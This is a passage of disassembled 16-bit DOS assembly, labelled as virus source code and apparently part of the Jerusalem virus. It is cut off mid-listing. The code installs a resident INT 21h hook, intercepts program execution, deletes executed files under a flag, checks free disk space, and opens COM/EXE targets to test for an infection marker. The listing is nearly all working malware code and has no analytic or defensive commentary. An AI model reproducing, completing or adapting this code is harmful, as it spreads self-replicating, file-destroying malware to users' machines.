jerusal.asm

一些病毒源代码

                mov     ax,2508h
                mov     dx,21Eh
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
loc_7:
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                pop     es
                pop     ds
                pushf                           ; Push flags
                call    dword ptr cs:data_25e
                push    ds
                pop     es
                mov     ah,49h                  ; 'I'
                int     21h                     ; DOS Services  ah=function 49h
                                                ;  release memory block, es=seg
                mov     ah,4Dh                  ; 'M'
                int     21h                     ; DOS Services  ah=function 4Dh
                                                ;  get return code info in ax
                mov     ah,31h                  ; '1'
                mov     dx,600h
                mov     cl,4
                shr     dx,cl                   ; Shift w/zeros fill
                add     dx,10h
                int     21h                     ; DOS Services  ah=function 31h
                                                ;  terminate & stay resident
                db      32h, 0C0h, 0CFh, 2Eh, 83h, 3Eh
                db      1Fh, 0, 2, 75h, 17h, 50h
                db      53h, 51h, 52h, 55h, 0B8h, 2
                db      6, 0B7h, 87h, 0B9h, 5, 5
                db      0BAh, 10h, 10h, 0CDh, 10h, 5Dh
                db      5Ah, 59h, 5Bh, 58h, 2Eh, 0FFh
                db      0Eh, 1Fh, 0, 75h, 12h, 2Eh
                db      0C7h, 6, 1Fh, 0, 1, 0
                db      50h, 51h, 56h, 0B9h, 1, 40h
                db      0F3h, 0ACh
                db      5Eh, 59h, 58h
loc_8:
                jmp     dword ptr cs:data_23e
                db      9Ch, 80h, 0FCh, 0E0h, 75h, 5
                db      0B8h, 0, 3, 9Dh, 0CFh, 80h
                db      0FCh, 0DDh, 74h, 13h, 80h, 0FCh
                db      0DEh, 74h, 28h, 3Dh, 0, 4Bh
                db      75h, 3, 0E9h, 0B4h, 0
loc_9:
                popf                            ; Pop flags
                jmp     dword ptr cs:data_25e
loc_10:
                pop     ax
                pop     ax
                mov     ax,100h
                mov     cs:data_18e,ax
                pop     ax
                mov     cs:data_19e,ax
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                popf                            ; Pop flags
                mov     ax,cs:data_21e
                jmp     dword ptr cs:data_18e
loc_11:
                add     sp,6
                popf                            ; Pop flags
                mov     ax,cs
                mov     ss,ax
                mov     sp,710h
                push    es
                push    es
                xor     di,di                   ; Zero register
                push    cs
                pop     es
                mov     cx,10h
                mov     si,bx
                mov     di,21h
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                mov     ax,ds
                mov     es,ax
                mul     word ptr cs:data_41e    ; ax = data * ax
                add     ax,cs:data_31e
                adc     dx,0
                div     word ptr cs:data_41e    ; ax,dxrem=dx:ax/data
                mov     ds,ax
                mov     si,dx
                mov     di,dx
                mov     bp,es
                mov     bx,cs:data_33e
                or      bx,bx                   ; Zero ?
                jz      loc_13                  ; Jump if zero
loc_12:
                mov     cx,8000h
                rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
                add     ax,1000h
                add     bp,1000h
                mov     ds,ax
                mov     es,bp
                dec     bx
                jnz     loc_12                  ; Jump if not zero
loc_13:
                mov     cx,cs:data_32e
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                pop     ax
                push    ax
                add     ax,10h
                add     cs:data_30e,ax
data_47         db      2Eh
                db      1, 6, 25h, 0, 2Eh, 0A1h
                db      21h, 0, 1Fh, 7, 2Eh, 8Eh
                db      16h, 29h, 0, 2Eh, 8Bh, 26h
                db      27h, 0, 2Eh, 0FFh, 2Eh, 23h
                db      0
loc_14:
                xor     cx,cx                   ; Zero register
                mov     ax,4301h
                int     21h                     ; DOS Services  ah=function 43h
                                                ;  get/set file attrb, nam@ds:dx
                mov     ah,41h                  ; 'A'
                int     21h                     ; DOS Services  ah=function 41h
                                                ;  delete file, name @ ds:dx
                mov     ax,4B00h
                popf                            ; Pop flags
                jmp     dword ptr cs:data_25e
loc_15:
                cmp     byte ptr cs:data_20e,1
                je      loc_14                  ; Jump if equal
                mov     word ptr cs:data_37e,0FFFFh
                mov     word ptr cs:data_44e,0
                mov     cs:data_42e,dx
                mov     cs:data_43e,ds
                push    ax
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    ds
                push    es
                cld                             ; Clear direction
                mov     di,dx
                xor     dl,dl                   ; Zero register
                cmp     byte ptr [di+1],3Ah     ; ':'
                jne     loc_16                  ; Jump if not equal
                mov     dl,[di]
                and     dl,1Fh
loc_16:
                mov     ah,36h                  ; '6'
                int     21h                     ; DOS Services  ah=function 36h
                                                ;  get free space, drive dl,1=a:
                cmp     ax,0FFFFh
                jne     loc_18                  ; Jump if not equal
loc_17:
                jmp     loc_44                  ; (06E7)
loc_18:
                mul     bx                      ; dx:ax = reg * ax
                mul     cx                      ; dx:ax = reg * ax
                or      dx,dx                   ; Zero ?
                jnz     loc_19                  ; Jump if not zero
                cmp     ax,710h
                jb      loc_17                  ; Jump if below
loc_19:
                mov     dx,cs:data_42e
                push    ds
                pop     es
                xor     al,al                   ; Zero register
                mov     cx,41h
                repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
                mov     si,cs:data_42e
loc_20:
                mov     al,[si]
                or      al,al                   ; Zero ?
                jz      loc_22                  ; Jump if zero
                cmp     al,61h                  ; 'a'
                jb      loc_21                  ; Jump if below
                cmp     al,7Ah                  ; 'z'
                ja      loc_21                  ; Jump if above
                sub     byte ptr [si],20h       ; ' '
loc_21:
                inc     si
                jmp     short loc_20            ; (0490)
loc_22:
                mov     cx,0Bh
                sub     si,cx
                mov     di,84h
                push    cs
                pop     es
                mov     cx,0Bh
                repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
                jnz     loc_23                  ; Jump if not zero
                jmp     loc_44                  ; (06E7)
loc_23:
                mov     ax,4300h
                int     21h                     ; DOS Services  ah=function 43h
                                                ;  get/set file attrb, nam@ds:dx
                jc      loc_24                  ; Jump if carry Set
                mov     cs:data_38e,cx
loc_24:
                jc      loc_26                  ; Jump if carry Set
                xor     al,al                   ; Zero register
                mov     cs:data_36e,al
                push    ds
                pop     es
                mov     di,dx
                mov     cx,41h
                repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
                cmp     byte ptr [di-2],4Dh     ; 'M'
                je      loc_25                  ; Jump if equal
                cmp     byte ptr [di-2],6Dh     ; 'm'
                je      loc_25                  ; Jump if equal
                inc     byte ptr cs:data_36e
loc_25:
                mov     ax,3D00h
                int     21h                     ; DOS Services  ah=function 3Dh
                                                ;  open file, al=mode,name@ds:dx
loc_26:
                jc      loc_28                  ; Jump if carry Set
                mov     cs:data_37e,ax
                mov     bx,ax
                mov     ax,4202h
                mov     cx,0FFFFh
                mov     dx,0FFFBh
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, cx,dx=offset
                jc      loc_26                  ; Jump if carry Set
                add     ax,5
                mov     cs:data_22e,ax
                mov     cx,5
                mov     dx,6Bh
                mov     ax,cs
                mov     ds,ax
                mov     es,ax
                mov     ah,3Fh                  ; '?'
                int     21h                     ; DOS Services  ah=function 3Fh
                                                ;  read file, cx=bytes, to ds:dx
                mov     di,dx
                mov     si,5
                repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
                jnz     loc_27                  ; Jump if not zero
                mov     ah,3Eh                  ; '>'
                int     21h                     ; DOS Services  ah=function 3Eh
                                                ;  close file, bx=file handle
                jmp     loc_44                  ; (06E7)
loc_27: